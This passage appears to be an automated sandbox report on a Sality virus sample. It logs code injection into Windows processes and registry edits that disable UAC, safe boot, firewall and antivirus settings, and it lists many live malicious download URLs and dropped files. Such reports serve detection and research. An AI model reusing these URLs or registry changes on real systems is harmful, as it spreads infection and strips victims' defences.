      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 980000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 750000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 490000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 8B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 620000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 140000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 9F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 10E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 3C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: DE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 940000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 510000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 660000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 58E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 1090000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 210000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 990000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 760000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 8C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 630000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 150000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 10F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 3D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: DF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 950000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 520000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 670000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 58F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 10A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 220000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 770000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 4B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 8D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: C60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 640000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 160000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: A10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1100000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 3E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: E00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 960000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 530000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 680000Jump to behavior
      Injects code into the Windows Explorer (explorer.exe)
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 3860000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 3270000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 3300000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 3330000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 4BA0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 52D0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 14F0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 5730000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 5830000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 57B0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 57C0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 5860000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 58A0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 58B0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 58C0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 58E0000 value: E8Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: PID: 3452 base: 58F0000 value: E8Jump to behavior
      Source: fontdrvhost.exe, 00000002.00000000.260980736.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, fontdrvhost.exe, 00000002.00000002.549058101.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000003.00000002.551842481.000002740D8E0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program ManagerT7<=ge
      Source: dwm.exe, 00000003.00000002.614390582.0000027413198000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 00000003.00000000.275622899.0000027413198000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager
      Source: fontdrvhost.exe, 00000002.00000000.260980736.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, fontdrvhost.exe, 00000002.00000002.549058101.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000003.00000002.551842481.000002740D8E0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
      Source: fontdrvhost.exe, 00000002.00000000.260980736.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, fontdrvhost.exe, 00000002.00000002.549058101.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000003.00000002.551842481.000002740D8E0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
      Source: ctfmon.exe, 00000010.00000000.310579016.000001BF9F70C000.00000004.00000020.00020000.00000000.sdmp, ctfmon.exe, 00000010.00000002.543726405.000001BF9F70C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd&
      Source: ctfmon.exe, 00000010.00000000.310579016.000001BF9F70C000.00000004.00000020.00020000.00000000.sdmp, ctfmon.exe, 00000010.00000002.543726405.000001BF9F70C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Shell_TrayWndba
      Source: explorer.exe, 00000011.00000000.313288534.0000000001378000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.535638807.0000000001378000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CProgmanile
      Source: fontdrvhost.exe, 00000002.00000000.260980736.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, fontdrvhost.exe, 00000002.00000002.549058101.000001E85A610000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000003.00000002.551842481.000002740D8E0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
      Source: ctfmon.exe, 00000010.00000000.310579016.000001BF9F70C000.00000004.00000020.00020000.00000000.sdmp, ctfmon.exe, 00000010.00000002.543726405.000001BF9F70C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd7
      Source: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exeQueries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformationJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeCode function: 0_2_0052E7A0 CreateFileA,GetFileSize,SetFilePointer,ReadFile,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,ReadFile,SetFilePointer,ReadFile,SetFilePointer,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,ReadFile,GetFileTime,CharUpperBuffA,SetFilePointer,ReadFile,GetFileTime,GetSystemTimeAsFileTime,CharUpperBuffA,CreateFileA,0_2_0052E7A0

      Lowering of HIPS / PFW / Operating System Security Settings

      barindex
      Deletes keys which are related to windows safe boot (disables safe mode boot)
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeRegistry key or value deleted: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot AlternateShellJump to behavior
      Disables user account control notifications
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security CenterJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeRegistry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\SvcJump to behavior
      Changes security center settings (notifications, updates, antivirus, firewall)
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center AntiVirusOverrideJump to behavior
      Modifies the windows firewall
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile DisableNotificationsJump to behavior
      Disables UAC (registry)
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUAJump to behavior
      Source: pXlV6TKi3E.exe, 00000000.00000002.559917150.0000000003650000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 360Safe.exe
      Source: pXlV6TKi3E.exe, 00000000.00000002.559917150.0000000003650000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 360SAFE.EXE

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      12
      Replication Through Removable Media      		2
      Native API      		1
      Windows Service      		1
      Bypass User Access Control      		51
      Disable or Modify Tools      		1
      Credential API Hooking      		1
      System Time Discovery      		12
      Replication Through Removable Media      		1
      Archive Collected Data      		Exfiltration Over Other Network Medium4
      Ingress Tool Transfer      		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
      Inhibit System Recovery
      Default Accounts2
      Command and Scripting Interpreter      		Boot or Logon Initialization Scripts1
      Windows Service      		1
      Deobfuscate/Decode Files or Information      		LSASS Memory11
      Peripheral Device Discovery      		Remote Desktop Protocol1
      Credential API Hooking      		Exfiltration Over Bluetooth11
      Encrypted Channel      		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)42
      Process Injection      		3
      Obfuscated Files or Information      		Security Account Manager3
      File and Directory Discovery      		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
      Non-Standard Port      		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)4
      Software Packing      		NTDS14
      System Information Discovery      		Distributed Component Object ModelInput CaptureScheduled Transfer3
      Non-Application Layer Protocol      		SIM Card SwapCarrier Billing Fraud
      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
      Bypass User Access Control      		LSA Secrets111
      Security Software Discovery      		SSHKeyloggingData Transfer Size Limits14
      Application Layer Protocol      		Manipulate Device CommunicationManipulate App Store Rankings or Ratings
      Replication Through Removable MediaLaunchdRc.commonRc.common11
      Masquerading      		Cached Domain Credentials2
      Process Discovery      		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
      External Remote ServicesScheduled TaskStartup ItemsStartup Items1
      Modify Registry      		DCSync21
      Virtualization/Sandbox Evasion      		Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job21
      Virtualization/Sandbox Evasion      		Proc Filesystem11
      Application Window Discovery      		Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)42
      Process Injection      		/etc/passwd and /etc/shadow1
      Remote System Discovery      		Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      pXlV6TKi3E.exe97%ReversingLabsWin32.Virus.Sality
      pXlV6TKi3E.exe100%AviraW32/Sality.AT
      pXlV6TKi3E.exe100%Joe Sandbox ML

      Dropped Files

      SourceDetectionScannerLabelLink
      C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exe100%AviraTR/Crypt.XPACK.Gen2
      C:\kasf.pif100%AviraW32/Sality.AT
      C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exe100%AviraTR/Crypt.XPACK.Gen2
      C:\Users\user\AppData\Local\Temp\winrhlyw.exe100%AviraW32/Sality.AT
      C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exe100%Joe Sandbox ML
      C:\kasf.pif100%Joe Sandbox ML
      C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exe100%Joe Sandbox ML
      C:\Users\user\AppData\Local\Temp\winrhlyw.exe100%Joe Sandbox ML
      C:\Users\user\AppData\Local\Temp\00413442_Rar\pXlV6TKi3E.exe67%ReversingLabsWin32.Trojan.Fragtor
      C:\Users\user\AppData\Local\Temp\0045C842_Rar\pXlV6TKi3E.exe67%ReversingLabsWin32.Trojan.Fragtor

      Unpacked PE Files

      SourceDetectionScannerLabelLinkDownload
      0.2.pXlV6TKi3E.exe.23825f4.6.unpack100%AviraTR/Killav.ftkDownload File
      0.2.pXlV6TKi3E.exe.7b1890.3.unpack100%AviraTR/Patched.Ren.GenDownload File
      0.2.pXlV6TKi3E.exe.2300000.8.unpack100%AviraTR/Crypt.XPACK.GenDownload File
      0.2.pXlV6TKi3E.exe.400000.0.unpack100%AviraTR/Patched.Ren.GenDownload File
      0.3.pXlV6TKi3E.exe.790bb4.0.unpack100%AviraHEUR/AGEN.1230764Download File
      0.2.pXlV6TKi3E.exe.545802.1.unpack100%AviraHEUR/AGEN.1230764Download File
      0.2.pXlV6TKi3E.exe.22f22b8.5.unpack100%AviraHEUR/AGEN.1230764Download File
      0.2.pXlV6TKi3E.exe.76fbac.4.unpack100%AviraTR/Patched.Ren.GenDownload File
      34.2.mnIfGXLiqWUjFj.exe.cf34ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      0.2.pXlV6TKi3E.exe.2382300.7.unpack100%AviraTR/Patched.Ren.GenDownload File
      35.2.mnIfGXLiqWUjFj.exe.3c34ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      40.2.mnIfGXLiqWUjFj.exe.3934ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      0.2.pXlV6TKi3E.exe.6e34ec.2.unpack100%AviraHEUR/AGEN.1230764Download File
      0.0.pXlV6TKi3E.exe.400000.0.unpack100%AviraW32/Sality.ATDownload File
      39.2.mnIfGXLiqWUjFj.exe.9934ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      32.2.mnIfGXLiqWUjFj.exe.7734ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      33.2.mnIfGXLiqWUjFj.exe.5234ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      0.2.pXlV6TKi3E.exe.34e34ec.9.unpack100%AviraHEUR/AGEN.1230764Download File
      37.2.mnIfGXLiqWUjFj.exe.7d34ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      36.2.mnIfGXLiqWUjFj.exe.fa34ec.0.unpack100%AviraHEUR/AGEN.1230764Download File
      38.2.mnIfGXLiqWUjFj.exe.bb34ec.0.unpack100%AviraHEUR/AGEN.1230764Download File

      Domains

      ⊘No Antivirus matches

      URLs

      SourceDetectionScannerLabelLink
      http://ahmediye.net/xs.jpg?6273be3=929110779e100%Avira URL Cloudmalware
      http://ampyazilim.com.tr/images/xs2.jpg?2c3ef52=1855808720%Avira URL Cloudsafe
      http://amsamex.com/xs.jpg0%Avira URL Cloudsafe
      http://amsamex.com/xs.jpg?10e1c12=885095300%Avira URL Cloudsafe
      http://ampyazilim.com.tr/images/xs2.jpg?46e717b=5204281250%Avira URL Cloudsafe
      http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526(0100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?56961d6=181584812x0$s100%Avira URL Cloudmalware
      https://ampyazilim.com.tr/images/xs2.jpg?142a6b1=2114526501QUr0%Avira URL Cloudsafe
      http://g2.arrowhitech.com/xs.jpg?2a1f64d=3091814670%Avira URL Cloudsafe
      http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650QR0%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?757abcd=739116750~100%Avira URL Cloudmalware
      https://%s.xboxlive.com0%URL Reputationsafe
      http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=211452650AS0%Avira URL Cloudsafe
      http://ahmediye.net/xs.jpg?44c7885=5048431712100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?7139244=7123388402V100%Avira URL Cloudmalware
      http://apple-pie.in/images/xs.jpg?2713c6c=819509365100%Avira URL Cloudmalware
      http://g2.arrowhitech.com/xs.jpg?1360a4c=812751840%Avira URL Cloudsafe
      http://althawry.org/images/xs.jpg?6f17e54=2329796240%Avira URL Cloudsafe
      http://ampyazilim.com.tr/images/xs2.jpg?142a6b1=2114526500%Avira URL Cloudsafe
      https://login.windows.local0%URL Reputationsafe
      http://facebook.github.io/react/docs/error-decoder.html?invariant0%URL Reputationsafe
      http://apple-pie.in/images/xs.jpg?416832a=548673872100%Avira URL Cloudmalware
      http://ahmediye.net/xs.jpg?6273be3=929110779s100%Avira URL Cloudmalware
      http://althawry.org/images/xs.jpg?1b3c9f3=114239436r0%Avira URL Cloudsafe
      http://g2.arrowhitech.com/xs.jpg?46e710d=5947741200%Avira URL Cloudsafe
      http://www.careerdesk.org/images/xs.jpg100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg100%Avira URL Cloudmalware
      http://ahmediye.net/xs.jpg?29383b1=259331622100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?1b3ca31=171359526h0100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg?59f0920=471543200z100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?56961d6=181584812100%Avira URL Cloudmalware
      http://kukutrustnet987.info/home.gif100%Avira URL Cloudmalware
      http://ampyazilim.com.tr/images/xs2.jpg?657d9df=425682812x6$q(0%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?f5fe7c=80607340100%Avira URL Cloudmalware
      https://ampyazilim.com.tr/images/xs2.jpg?2c3ef52=1855808720%Avira URL Cloudsafe
      http://173.193.19.14/logo.gif0%Avira URL Cloudsafe
      https://ampyazilim.com.tr/images/xs2.jpg?657d9df=4256828120%Avira URL Cloudsafe
      http://www.careerdesk.org/images/xs.jpg?7139244=712338840~100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?7139244=712338840H64q)100%Avira URL Cloudmalware
      http://amsamex.com/xs.jpg?25d8de9=1587424360%Avira URL Cloudsafe
      http://g2.arrowhitech.com/xs.jpg?46e710d=594774120F0%Avira URL Cloudsafe
      http://www.careerdesk.org/images/xs.jpg?7139244=712338840c100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg?757abcd=73911675024100%Avira URL Cloudmalware
      http://g2.arrowhitech.com/xs.jpg0%Avira URL Cloudsafe
      http://g2.arrowhitech.com/xs.jpg?6358694=10417115600%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?3b0704e=495157872100%Avira URL Cloudmalware
      http://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg?21973d4=70444968i100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?37fb479=234803684(7100%Avira URL Cloudmalware
      http://ahmediye.net/xs.jpg?44c7885=504843171100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?7139244=712338840100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg?3b0704e=495157872P100%Avira URL Cloudmalware
      http://amsamex.com/xs.jpg?3f44720=5970657600%Avira URL Cloudsafe
      http://apple-pie.in/images/xs.jpg?5f16d79=498541405100%Avira URL Cloudmalware
      http://ahmediye.net/xs.jpg?29383b1=259331622Control100%Avira URL Cloudmalware
      http://althawry.org/images/xs.jpg?6f17e54=232979624l0%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?757abcd=739116750$100%Avira URL Cloudmalware
      https://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125800%Avira URL Cloudsafe
      http://althawry.org/images/xs.jpg?35dbb35=4517953680%Avira URL Cloudsafe
      http://ampyazilim.com.tr/images/xs2.jpg?657d9df=4256828120%Avira URL Cloudsafe
      http://a3inforservice.com.br/images/logof.gif100%Avira URL Cloudmalware
      http://amsamex.com/xs.jpg?5cf74e1=779855624v0%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?3b0704e=495157872Z100%Avira URL Cloudmalware
      http://www.klkjwre9fqwieluoi.info/100%Avira URL Cloudmalware
      http://althawry.org/images/xs.jpg0%Avira URL Cloudsafe
      http://accnet.ca/xs.jpg0%Avira URL Cloudsafe
      http://kukutrustnet777888.info/DisableTaskMgrSoftware100%Avira URL Cloudmalware
      http://althawry.org/images/xs.jpg?1b3c9f3=1142394360%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?757abcd=7391167503100%Avira URL Cloudmalware
      http://althawry.org/images/xs.jpghttp://www.careerdesk.org/images/xs.jpghttp://arthur.niria.biz/xs.j100%Avira URL Cloudmalware
      http://ahmediye.net/xs.jpg100%Avira URL Cloudmalware
      http://apple-pie.in/images/xs.jpg100%Avira URL Cloudmalware
      http://accnet.ca/xs.jpghttp://a3inforservice.com.br/images/logof.gif0%Avira URL Cloudsafe
      https://ampyazilim.com.tr/images/xs2.jpg?1100%Avira URL Cloudmalware
      https://ampyazilim.com.tr/images/xs2.jpg?46e717b=5204281250%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?59f0920=471543200100%Avira URL Cloudmalware
      http://ahmediye.net/xs.jpg?29383b1=259331622f100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg?21973d4=70444968100%Avira URL Cloudmalware
      http://althawry.org/images/xs.jpg?546f297=7082856240%Avira URL Cloudsafe
      http://amsamex.com/xs.jpg?5cf74e1=7798556240%Avira URL Cloudsafe
      http://ampyazilim.com.tr/images/xs2.jpg0%Avira URL Cloudsafe
      http://althawry.org/images/xs.jpg?35dbb35=451795368H0%Avira URL Cloudsafe
      http://www.careerdesk.org/images/xs.jpg?7139244=712338840h6100%Avira URL Cloudmalware
      http://ampyazilim.com.tr/images/xs2.jpg?46e717b=520428125X00%Avira URL Cloudsafe
      http://arthur.niria.biz/xs.jpg?757abcd=739116750c100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg?757abcd=739116750r100%Avira URL Cloudmalware
      http://www.careerdesk.org/images/xs.jpg?37fb479=234803684100%Avira URL Cloudmalware
      http://arthur.niria.biz/xs.jpg?757abcd=739116750h100%Avira URL Cloudmalware
